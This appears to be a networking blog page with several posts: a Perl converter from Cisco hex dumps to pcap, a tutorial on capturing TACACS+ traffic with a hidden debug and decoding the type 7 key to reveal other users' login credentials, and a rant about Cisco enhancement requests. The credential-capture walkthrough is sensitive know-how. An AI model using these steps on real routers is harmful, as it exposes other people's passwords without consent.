Convert Cisco dumps into Wireshark's pcap format

Lately i've been experimenting a lot with the hidden "dump" option of "debug ip packet", trying to decode various protocols. Yesterday i wrote a post about decoding the tacacs communication, something that required a little bit of awkward text editing.

Tonight i created the following perl program in order to make the whole process easier.

#!/opt/perl/bin/perl

# ciscodump2text v0.1
#
# Convert Cisco hex dump format (captured through the "debug ip packet dump" command)
# to a special text format that can then be fed into text2pcap 
# so a pcap file for Wireshark can be created at the end
#
# Copyright (C) 2009 Tassos (http://ccie-in-3-months.blogspot.com)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

@packets = ();
$junk_line = 1;
$i = 0;

while (<>) {
        $line = $_;

        if ( $line =~ /^[0-9A-F]{8}: / ) {

                $hex_part = substr($line, 10, 36);
                $hex_part =~ s/\s//g;

                if ( $junk_line ) {
                        $i++;
                        $packets[$i] = "";
                        $junk_line = 0;
                };

                $packets[$i] .= $hex_part;
        } else {
                $junk_line = 1;
        }
}

for ($i = 1; $i <= @packets; $i++) {

        if ( exists $packets[$i] ) {

                for ( $j = 0; $j < length($packets[$i]); $j += 2 ) {
                        if ( $j == 0 )  {
                                printf "# Packet $i\n%08X", $j/2;
                        } elsif ( $j % 32 == 0 ) {
                                printf " #\n%08X", $j/2;
                        }
                        print " ".substr($packets[$i], $j, 2);
                }

                print " #\n";
        }
}

print "\n";

You just give it the cisco dump as input (only lines starting with an 8-char hex number are processed, so you don't have to worry about other lines) and it produces a text file that can be fed into text2pcap. Then you give text2pcap the new text file as input and it produces a pcap file as output, which can be opened with Wireshark.

i.e. we want to convert the following log produced by "debug ip packet dump" to a text file compatible with the "text2pcap" program.

*Apr 18 18:19:51.887: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.887: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending
*Apr 18 18:19:51.887:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17D0:                   45000050 678B0000          E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._
*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending full packet
*Apr 18 18:19:51.887:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17C0:                       0200 4C4F4F50            ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000  J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._
*Apr 18 18:19:52.103: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:52.107: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:52.107: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:19:52.111:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014D0:                   45000028 678C0000          E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000  FL2.coV3P...t...
08001500:
*Apr 18 18:19:52.127: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:19:52.131:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014C0:                       0200 4C4F4F50            ..LOOP
080014D0: CA000CB8 00060800 45000028 678C0000  J..8....E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000  FL2.coV3P...t...
08001500:

First we save it in a ascii/text file (i.e. "test.dump") and we give it as input to the "ciscodump2text" program.

tassos$ ciscodump2text test.dump > test.text

The created "test.text" file contains the following :

# Packet 1
00000000 45 00 00 50 67 8B 00 00 FF 06 2B F6 0A 0A 0A 09 #
00000010 0A 0A 0A 0A 50 74 00 31 46 CC 31 DA E3 6F D6 17 #
00000020 50 10 10 20 9F 96 00 00 C0 01 01 00 99 64 8E 6A #
00000030 00 00 00 1C B8 14 5E C8 A8 B3 C2 B9 3E C1 2A 1F #
00000040 AA 40 DE 66 D7 42 9C 89 0B F9 11 F3 C7 24 9F 5F #
# Packet 2
00000000 02 00 4C 4F 4F 50 CA 00 0C B8 00 06 08 00 45 00 #
00000010 00 50 67 8B 00 00 FF 06 2B F6 0A 0A 0A 09 0A 0A #
00000020 0A 0A 50 74 00 31 46 CC 31 DA E3 6F D6 17 50 10 #
00000030 10 20 9F 96 00 00 C0 01 01 00 99 64 8E 6A 00 00 #
00000040 00 1C B8 14 5E C8 A8 B3 C2 B9 3E C1 2A 1F AA 40 #
00000050 DE 66 D7 42 9C 89 0B F9 11 F3 C7 24 9F 5F #
# Packet 3
00000000 45 00 00 28 67 8C 00 00 FF 06 2C 1D 0A 0A 0A 09 #
00000010 0A 0A 0A 0A 50 74 00 31 46 CC 32 02 E3 6F D6 33 #
00000020 50 10 10 04 F4 92 00 00 #
# Packet 4
00000000 02 00 4C 4F 4F 50 CA 00 0C B8 00 06 08 00 45 00 #
00000010 00 28 67 8C 00 00 FF 06 2C 1D 0A 0A 0A 09 0A 0A #
00000020 0A 0A 50 74 00 31 46 CC 32 02 E3 6F D6 33 50 10 #
00000030 10 04 F4 92 00 00 #

Then, we convert this new text file into a pcap file by using the "text2pcap" program, which is included with Wireshark.

tassos$ text2pcap.exe" -d test.text test.pcap
Input from: test.text
Output to: test.pcap
Start new packet
Start new packet
Wrote packet of 80 bytes at 0
Start new packet
Wrote packet of 94 bytes at 80
Start new packet
Wrote packet of 40 bytes at 174
Wrote packet of 54 bytes at 214

-------------------------
Read 4 potential packets, wrote 4 packets

The resulting pcap file "test.pcap" can be opened for further processing with Wireshark.

That way you can very easily create pcap files of almost everything happening on your router.

Notes : The "dump" option is supported since 12.0 IOS. Latest IOS includes EPC, which makes the whole capture & convert-to-pcap process much easier.

PS : I'm not a very good perl programmer (although i have written a lot of custom perl scripts for my job), so someone playing with perl for years will probably produce a more compact "perlish" code. I just tried to interpret my logic into perl code.

Decoding login credentials regardless of access method

In a previous post of mine i had described how easy it is to find the login credentials of any user, as long as you have enable access on the router where the user is trying to login and the user is using telnet.

You all know that ssh is a better, far more secure, access method since the whole communication is encrypted.

You also know that usually an external aaa server is used in order to allow privileged access in routers. As an aaa server you can use a tacacs+ or a radius server, with tacacs+ being the preferred choice because it also provides authorization as a different operation and encryption of the full payload.

What would you say if you could capture the aaa server's traffic from inside the router itself, decode it using the tacacs/radius key stored in the router's configuration and find the credentials of everyone logging into the router, regardless of the user's access method? You don't even need any sniffing (on the wire) to take place.

Here is how...

Let's suppose we have a router which is using tacacs+ for its login authentication and we're trying to find the login credentials of someone logging into it using ssh (the access method is irrelevant!).

First you create an acl matching the packets you want to capture :

access-list 199 permit tcp any host 10.10.10.10 eq tacacs

10.10.10.10 is the tacacs+ server you're trying to monitor and tacacs (tcp/49) is the port the server is listening to.

If you don't want to look for it into the config (with "sh run"), the following will give you the details.

R1#sh tacacs | i Server
Tacacs+ Server            : 10.10.10.10/49

Then you enable the hidden "dump" option of the "debug ip packet" command and you wait for someone to login.

R1#debug ip packet detail 199 dump
IP packet debugging is on (detailed) (dump) for access list 199

Keep in mind that if you use tacacs for many kinds of authentication/authorization/accounting you'll get a lot of output, so try to capture as much as possible (generally try to have a large buffer).

You're interested in lines containing "C001", with C0 defining the TACACS+ version and 01 defining "Authentication". According to the tacacs+ draft rfc :
TAC_PLUS_MAJOR_VER=0xC
TAC_PLUS_MINOR_VER_DEFAULT=0x0
TAC_PLUS_AUTHEN=0x01

R1#sh log | i C001
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7

So you got 4 packets with tacacs authentication data, with the first 2 being the same and the last 2 being again the same.

Now do a "sh log", trying to locate the packets with the above found hex offsets (hex offset is the very first hex number at the left of each line).

R1#sh log
Syslog logging: enabled (0 messages dropped, 0 messages rate-limited,
                0 flushes, 0 overruns, xml disabled, filtering disabled)

No Active Message Discriminator.



No Inactive Message Discriminator.


    Console logging: level debugging, 7110 messages logged, xml disabled,
                     filtering disabled
    Monitor logging: level debugging, 0 messages logged, xml disabled,
                     filtering disabled
    Buffer logging:  level debugging, 781 messages logged, xml disabled,
                     filtering disabled
    Logging Exception size (8192 bytes)
    Count and timestamp logging messages: disabled
    Persistent logging: disabled

No active filter modules.

ESM: 0 messages dropped

    Trap logging: level informational, 57 message lines logged

Log Buffer (512000 bytes):

*Apr 18 18:19:51.779: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.783: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.783: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 44, sending
*Apr 18 18:19:51.787:     TCP src=20596, dst=49, seq=1187787225, ack=0, win=4128 SYN
080019D0:                   4500002C 67890000          E..,g...
080019E0: FF062C1C 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080019F0: 46CC31D9 00000000 60021020 96950000  FL1Y....`.. ....
08001A00: 020405B4                             ...4
*Apr 18 18:19:51.803: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 44, sending full packet
*Apr 18 18:19:51.807:     TCP src=20596, dst=49, seq=1187787225, ack=0, win=4128 SYN
080019C0:                       0200 4C4F4F50            ..LOOP
080019D0: CA000CB8 00060800 4500002C 67890000  J..8....E..,g...
080019E0: FF062C1C 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080019F0: 46CC31D9 00000000 60021020 96950000  FL1Y....`.. ....
08001A00: 020405B4                             ...4
*Apr 18 18:19:51.847: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.847: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.851: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:19:51.855:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
08001250:                   45000028 678A0000          E..(g...
08001260: FF062C1F 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
08001270: 46CC31DA E36FD617 50101020 F4BA0000  FL1ZcoV.P.. t:..
08001280:
*Apr 18 18:19:51.871: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:19:51.875:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
08001240:                       0200 4C4F4F50            ..LOOP
08001250: CA000CB8 00060800 45000028 678A0000  J..8....E..(g...
08001260: FF062C1F 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
08001270: 46CC31DA E36FD617 50101020 F4BA0000  FL1ZcoV.P.. t:..
08001280:
*Apr 18 18:19:51.887: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:51.887: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending
*Apr 18 18:19:51.887:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17D0:                   45000050 678B0000          E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._
*Apr 18 18:19:51.887: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 80, sending full packet
*Apr 18 18:19:51.887:     TCP src=20596, dst=49, seq=1187787226, ack=3815757335, win=4128 ACK
082D17C0:                       0200 4C4F4F50            ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000  J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._
*Apr 18 18:19:52.103: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:19:52.107: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:19:52.107: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:19:52.111:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014D0:                   45000028 678C0000          E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000  FL2.coV3P...t...
08001500:
*Apr 18 18:19:52.127: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:19:52.131:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
080014C0:                       0200 4C4F4F50            ..LOOP
080014D0: CA000CB8 00060800 45000028 678C0000  J..8....E..(g...
080014E0: FF062C1D 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
080014F0: 46CC3202 E36FD633 50101004 F4920000  FL2.coV3P...t...
08001500:
*Apr 18 18:20:17.535: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.535: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.539: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 70, sending
*Apr 18 18:20:17.543:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
082D10F0:                   45000046 678D0000          E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031  ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000  FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519      0BC..X .C#}...
*Apr 18 18:20:17.563: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 70, sending full packet
*Apr 18 18:20:17.567:     TCP src=20596, dst=49, seq=1187787266, ack=3815757363, win=4100 ACK
082D10E0:                       0200 4C4F4F50            ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000  J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031  ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000  FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519      0BC..X .C#}...
*Apr 18 18:20:17.607: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.611: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.615: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:20:17.619:     TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK
08001C50:                   45000028 678E0000          E..(g...
08001C60: FF062C1B 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
08001C70: 46CC3220 E36FD646 50100FF2 F4730000  FL2 coVFP..rts..
08001C80:
*Apr 18 18:20:17.623: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:20:17.627:     TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK
08001C40:                       0200 4C4F4F50            ..LOOP
08001C50: CA000CB8 00060800 45000028 678E0000  J..8....E..(g...
08001C60: FF062C1B 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
08001C70: 46CC3220 E36FD646 50100FF2 F4730000  FL2 coVFP..rts..
08001C80:
*Apr 18 18:20:17.643: FIBipv4-packet-proc: route packet from (local) src 10.10.10.9 dst 10.10.10.10
*Apr 18 18:20:17.647: FIBipv4-packet-proc: packet routing succeeded
*Apr 18 18:20:17.647: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending
*Apr 18 18:20:17.651:     TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK PSH FIN
082D2590:                   45000028 678F0000          E..(g...
082D25A0: FF062C1A 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
082D25B0: 46CC3220 E36FD646 50190FF2 F46A0000  FL2 coVFP..rtj..
082D25C0:
*Apr 18 18:20:17.655: IP: s=10.10.10.9 (local), d=10.10.10.10 (FastEthernet0/1), len 40, sending full packet
*Apr 18 18:20:17.655:     TCP src=20596, dst=49, seq=1187787296, ack=3815757382, win=4082 ACK PSH FIN
082D2580:                       0200 4C4F4F50            ..LOOP
082D2590: CA000CB8 00060800 45000028 678F0000  J..8....E..(g...
082D25A0: FF062C1A 0A0A0A09 0A0A0A0A 50740031  ..,.........Pt.1
082D25B0: 46CC3220 E36FD646 50190FF2 F46A0000  FL2 coVFP..rtj..
082D25C0:

copy these 4 packets into a text file

082D17D0:                   45000050 678B0000          E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._

082D17C0:                       0200 4C4F4F50            ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000  J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._

082D10F0:                   45000046 678D0000          E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031  ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000  FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519      0BC..X .C#}...

082D10E0:                       0200 4C4F4F50            ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000  J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031  ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000  FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519      0BC..X .C#}...

If you have a detailed look at the above packet offsets/contents, you'll notice that

Packet 1 is a sub-packet of Packet 2 (offsets 082D17E0 - 082D1820 are common)
Packet 3 is a sub-packet of Packet 4 (offsets 082D1100 - 082D1130 are common)

Their difference is that Packet 1 and Packet 3 do not contain the L2 header. The debug output shows these packets as "sending" vs "sending full packet" which are the full packets.

Since it's better to have the full packet, erase the sub-packets (packets that do not contain the L2 header = packets with the least data).

So you end up with the following 2 full packets:

082D17C0:                       0200 4C4F4F50            ..LOOP
082D17D0: CA000CB8 00060800 45000050 678B0000  J..8....E..Pg...
082D17E0: FF062BF6 0A0A0A09 0A0A0A0A 50740031  ..+v........Pt.1
082D17F0: 46CC31DA E36FD617 50101020 9F960000  FL1ZcoV.P.. ....
082D1800: C0010100 99648E6A 0000001C B8145EC8  @....d.j....8.^H
082D1810: A8B3C2B9 3EC12A1F AA40DE66 D7429C89  (3B9>A*.*@^fWB..
082D1820: 0BF911F3 C7249F5F                    .y.sG$._

082D10E0:                       0200 4C4F4F50            ..LOOP
082D10F0: CA000CB8 00060800 45000046 678D0000  J..8....E..Fg...
082D1100: FF062BFE 0A0A0A09 0A0A0A0A 50740031  ..+~........Pt.1
082D1110: 46CC3202 E36FD633 50101004 FF710000  FL2.coV3P....q..
082D1120: C0010300 99648E6A 00000012 0EF88E37  @....d.j.....x.7
082D1130: 3042C304 0358A011 C3A3FD82 1519      0BC..X .C#}...

Now, you have to convert the above 2 packets into a format that Wireshark can understand. There is an extra program you'll find in your Wireshark folder, called "text2pcap" that can help you in that. But it requires a specific input format.

First, put a space between every pair of hex numbers :

082D17C0:                               02 00 4C 4F 4F 50            ..LOOP
082D17D0: CA 00 0C B8 00 06 08 00 45 00 00 50 67 8B 00 00  J..8....E..Pg...
082D17E0: FF 06 2B F6 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31  ..+v........Pt.1
082D17F0: 46 CC 31 DA E3 6F D6 17 50 10 10 20 9F 96 00 00  FL1ZcoV.P.. ....
082D1800: C0 01 01 00 99 64 8E 6A 00 00 00 1C B8 14 5E C8  @....d.j....8.^H
082D1810: A8 B3 C2 B9 3E C1 2A 1F AA 40 DE 66 D7 42 9C 89  (3B9>A*.*@^fWB..
082D1820: 0B F9 11 F3 C7 24 9F 5F                          .y.sG$._

082D10E0:                               02 00 4C 4F 4F 50            ..LOOP
082D10F0: CA 00 0C B8 00 06 08 00 45 00 00 46 67 8D 00 00  J..8....E..Fg...
082D1100: FF 06 2B FE 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31  ..+~........Pt.1
082D1110: 46 CC 32 02 E3 6F D6 33 50 10 10 04 FF 71 00 00  FL2.coV3P....q..
082D1120: C0 01 03 00 99 64 8E 6A 00 00 00 12 0E F8 8E 37  @....d.j.....x.7
082D1130: 30 42 C3 04 03 58 A0 11 C3 A3 FD 82 15 19        0BC..X .C#}...

Then remove the ":" from the hex offset and recalculate each packet's offsets starting from 00000000. Every row is 10 (hex) bytes, so it gets easier after you find the offset for the 2nd row.

00000000                               02 00 4C 4F 4F 50            ..LOOP
00000006 CA 00 0C B8 00 06 08 00 45 00 00 50 67 8B 00 00  J..8....E..Pg...
00000016 FF 06 2B F6 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31  ..+v........Pt.1
00000026 46 CC 31 DA E3 6F D6 17 50 10 10 20 9F 96 00 00  FL1ZcoV.P.. ....
00000036 C0 01 01 00 99 64 8E 6A 00 00 00 1C B8 14 5E C8  @....d.j....8.^H
00000046 A8 B3 C2 B9 3E C1 2A 1F AA 40 DE 66 D7 42 9C 89  (3B9>A*.*@^fWB..
00000056 0B F9 11 F3 C7 24 9F 5F                          .y.sG$._

00000000                               02 00 4C 4F 4F 50            ..LOOP
00000006 CA 00 0C B8 00 06 08 00 45 00 00 46 67 8D 00 00  J..8....E..Fg...
00000016 FF 06 2B FE 0A 0A 0A 09 0A 0A 0A 0A 50 74 00 31  ..+~........Pt.1
00000026 46 CC 32 02 E3 6F D6 33 50 10 10 04 FF 71 00 00  FL2.coV3P....q..
00000036 C0 01 03 00 99 64 8E 6A 00 00 00 12 0E F8 8E 37  @....d.j.....x.7
00000046 30 42 C3 04 03 58 A0 11 C3 A3 FD 82 15 19        0BC..X .C#}...

Pass the above file as input to the text2pcap program and save the output to a pcap file. If everything went fine, you should see the following:

C:\Program Files\Wireshark>text2pcap -d tacacs-packets.txt tacacs-packets.pcap
Input from: tacacs-packets.txt
Output to: tacacs-packets.pcap
Start new packet
Start new packet
Wrote packet of 94 bytes at 0
Wrote packet of 84 bytes at 94

-------------------------
Read 2 potential packets, wrote 2 packets

Now, open the "tacacs-packets.pcap" in Wireshark and check the output:


You need the encryption key used by the tacacs in order to decrypt the tacacs part.

tacacs-server key 7 023224582B051C121F4D1B4A113C4112

If the tacacs key is encrypted in the configuration (like the above), then you can decrypt it by configuring it under a dummy key-chain (something that most of you should know already).

key chain test
 key 1
   key-string 7 023224582B051C121F4D1B4A113C4112


R1#sh key chain test
Key-chain test:
    key 1 -- text "T@c@csS3cr3tK3y"
        accept lifetime (always valid) - (always valid) [valid now]
        send lifetime (always valid) - (always valid) [valid now]

Open Edit->Preferences in Wireshark and move to Protocol->Tacacs.
Fill in the tacacs key you found and voila! Next to the "User:" field you'll find what you're looking for.





The sequence numbers will help you identify which one is the username and which one is the password (normally the username comes first).

Notes : You can use the above procedure in order to convert any Cisco "debug ip packet dump" output into the pcap format.

Update 19-Apr-2009 : If you don't want to mess with manual text editing, i have created a perl script which converts the dump output into a text2pcap compatible format.

What is a PER (Product Enhancement Request)?

According to your votes in the recent poll, i ended up having some interesting results.



1) only 1 person has been successful in his/her PER (i would really like to know the company he/she works for and what the PER was about)
2) 8 people have submitted a PER, but it wasn't implemented (i'm one of them)
4) 83% do not know what a PER is

While some other companies have PER open for public with online forms, Cisco likes to keep it internal. Even worse, you cannot watch its progress, unless you manage to persuade TAC to open a bug (as enhancement) and then tell your account team to attach a PER to this bug.

So, what is it about?

Your Cisco account team has access to the Product Enhancement Request (PER) tool. With this tool, the Cisco account team can submit a PER on your behalf, always with a "good" business case behind it. Generally, Product Enhancement Requests are things that you'd like to have on your devices, but are not happening, because there isn't any need for them (due to various reasons).

According to Cisco procedures, your Sales/Account Team needs to open and follow up on the PER request. It then goes to the Business Unit (BU) and gets reviewed and if approved it is prioritized to be implemented.

Judging from my experience and your votes to the poll, you'd better have a very good business case if you want to see you request being implemented. i.e. if you work for NTT, DT, BT, AT&T, then this is by default a very good business case. Otherwise you'll have to try very hard to convince the BU to accept your request. Also, if you have (or intend to buy) hundreds or thousands of cisco boxes, then this is also a very good business case. If you don't belong to one of the above categories, then the BU might say that your request is a corner case; don't believe them. They usually mean that your business is a corner business.

To be honest, i have to somehow agree with the above concept. Companies that bring a lot of money to Cisco, should have their requests prioritized. After all, they are the most important customers.

BUT

I think there are some things that should be considered too instead of relaying solely on business needs brought onto surface by big customers. I don't know how many of the following cases refer to others too, but this is my just-before-opening-a-PER experience until now:

1) Redistribution of FHRP (First Hop Redundancy Protocol) IPs into routing protocols does not take into account the state of active/standby interfaces. That means you cannot (easily) influence the downstream direction of packets.

2) Although there have been at least 3 years since ethernet has replaced ATM in the broadband edge, Cisco's MIBs do not support counting of PPPoE sessions per ethernet subinterface.

3) There aren't any cvpdnTunnelBytes* 64bit counters (used in VPDN tunnels). When gigabit and tengigabit interfaces are becoming common in all broadband platforms, some counters insist on 32bit.

4) The PPP idle timer feature ("ip idle-group") which is supposed to be an enhancement made specifically for LAC/LNS scenarios, was working fine in 12.3x, but got removed in the broadband 12.2SB release (on 7200 & c10k platforms). Even the new broadband platform (ASR1000) doesn't have it.

5) There is a hardcoded limit (for no apparent reason) of 8 UNI ports that can use community vlans on the ME-3400G-12CS. If you need more, you have to turn them into NNI.

6) If you're using an aaa server for system accounting, then in case of a problem on your aaa server, you'll have to wait for 2-3 mins to login into your routers, regardless of the aaa method used for your login.

7) "Configuration Change Notification and Logging" keeps a record of all per-user configurations applied through radius (i.e. ACLs) under a subscriber vtemplate.

All of the above cases got pwned by Cisco with the excuse "a PER must be submitted in order to be implemented". Of course, on some of them this is true, because they are new things and a lot of work needs to be done. Some others seem more like a misbehavior that needs to be fixed. According to Cisco, everything that adheres to the documentation cannot be considered a bug. So, keep that in mind.

I understand that my current needs are different from many others, but the possibility of someone else having the same needs can't always be zero.

I would like very much to see all submitted PERs in a poll by Cisco, so other customers could choose what they would like too. I'm sure that there are many good and simple ideas submitted as PERs that can be useful to everyone, but they are hidden somewhere away from the public.


PS: Since i don't have any actual internal info, a lot of my talk about the PER process might not be accurate. Please feel free to correct me.

Decoding telnet passwords using a hidden debug

While messing with packet capture, i found an interesting feature, well hidden inside IOS.

Almost all of you should probably know the command "debug ip packet detail" which displays details about process switched (received/generated/forwarded) packets. There is a hidden option "dump" that provides extra information including raw packet data in hexadecimal and ASCII forms. According to Cisco, "the dump keyword is not fully supported and should be used only in collaboration with Cisco Technical Support. Because of the risk of using significant CPU utilization, the dump keyword is hidden from the user and cannot be seen using the "?" prompt."

